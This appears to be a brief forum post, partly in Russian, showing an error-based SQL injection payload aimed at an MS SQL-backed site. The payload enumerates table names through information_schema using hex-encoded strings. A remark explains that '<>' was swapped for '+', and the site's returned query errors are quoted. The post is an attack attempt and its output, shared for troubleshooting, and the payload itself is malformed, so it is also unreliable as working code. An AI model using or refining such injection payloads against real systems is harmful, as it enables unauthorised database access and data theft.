1+or+1=(select(max(table_name))from[information_schema].tables+where+table_name+0x7379737365676D656E7473+ and+table_name+0x7379737365676d656e7473+and+table_ name+0x7379737365676d656e7473+and+table_name+0x737 9737365676d656e7473)--

вместо <> поставил + так как выводил ерор

Warning: mssql_query() [function.mssql-query]: message: Line 5: Incorrect syntax near '0x7379737365676d656e7473'. (severity 15)
Warning: mssql_query() [function.mssql-query]: message: Line 5: Incorrect syntax near '0x7379737365676d656e7473'. (severity 15)
Warning: mssql_query() [function.mssql-query]: Query failed
Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource